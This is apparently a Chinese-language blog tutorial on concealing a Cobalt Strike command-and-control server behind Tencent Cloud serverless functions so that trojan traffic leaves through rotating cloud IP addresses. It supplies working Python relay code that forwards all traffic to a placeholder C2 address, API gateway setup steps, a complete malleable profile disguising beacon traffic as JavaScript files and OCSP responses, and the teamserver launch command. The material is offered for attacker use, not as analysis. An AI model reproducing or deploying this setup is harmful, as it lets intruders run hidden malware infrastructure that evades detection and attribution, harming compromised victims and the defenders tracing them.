原理
利用云函数隐匿C2的原理也很简单,其实我们相当于在腾讯云开启了一个代理服务,我们将我们的木马的所有流量通过腾讯云进行转发,而腾讯云有很多出口ip,会随机使用这些ip,达到了隐匿自身真实ip的目的.
云函数配置 首先我们还是进入腾讯云创建一个自定义函数。选择运行环境为python,将为们的代码复制到函数代码中,我们需要修改我们c2中的地址为我们的c2地址.
这里只能创建80和443端口的监听,因为我们的流量是通过云函数进来的,云函数只支持80和443,这里的监听实际上是中间人云函数的监听地址和端口,如果云函数C2地址配的是http就开80监听;https就开443,https方式监听
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import json,requests,base64def main_handler (event, context ): response = {} path = None headers = None try : C2='http://c2ip' if 'path' in event.keys(): path=event['path' ] if 'headers' in event.keys(): headers=event['headers' ] if 'httpMethod' in event.keys() and event['httpMethod' ] == 'GET' : resp=requests.get(C2+path,headers=headers,verify=False ) else : resp=requests.post(C2+path,data=event['body' ],headers=headers,verify=False ) print (resp.headers) print (resp.content) response={ "isBase64Encoded" : True , "statusCode" : resp.status_code, "headers" : dict (resp.headers), "body" : str (base64.b64encode(resp.content))[2 :-1 ] } except Exception as e: print ('error' ) print (e) finally : return response
然后我们完成云函数的创建,在VSCode中安装模块:先进入src目录 cd src
pip3 install requests -t .
测试:
进入触发器中创建一个触发器。选择触发器版本为$LATEST,触发方式为API网关触发,开启集成响应。
然后点击我们的API服务名进入API网关进行配置
点击编辑,将路径修改为/
此时我们已经完成了我们云函数的配置。
此时我们遍可以使用上图的公网域名中的http域名来进行上线了
c2配置 然后此时我们要编译一个cs的profile文件,代码如下,我们通过这个文件对我们的包内容进行配置来进行收发包。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 set sample_name "func" ;set sleeptime "3000" ;set jitter "0" ;set maxdns "255" ;set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)" ;http-get { set uri "/api/x" ; client { header "Accept" "*/*" ; metadata { base64 ; prepend "SESSIONID=" ; header "Cookie" ; } } server { header "Content-Type" "application/ocsp-response" ; header "content-transfer-encoding" "binary" ; header "Server" "Nodejs" ; output { base64 ; print ; } } } http-stager { set uri_x86 "/vue.min.js" ; set uri_x64 "/bootstrap-2.min.js" ; } http-post { set uri "/api/y" ; client { header "Accept" "*/*" ; id { base64 ; prepend "JSESSION=" ; header "Cookie" ; } output { base64 ; print ; } } server { header "Content-Type" "application/ocsp-response" ; header "content-transfer-encoding" "binary" ; header "Connection" "keep-alive" ; output { base64 ; print ; } } }
cs还自带了一个c2lint工具来帮助我们检验我们编写的profile文件是否正确。如图显示出来我们的请求内容。
然后我们使用命令启动我们的cs./teamserver ip passwd xxx.profile
设置监听器,这里要注意端口为80,host为我们刚刚在API网关中的地址,注意需要删除前面的http及后面的:80
效果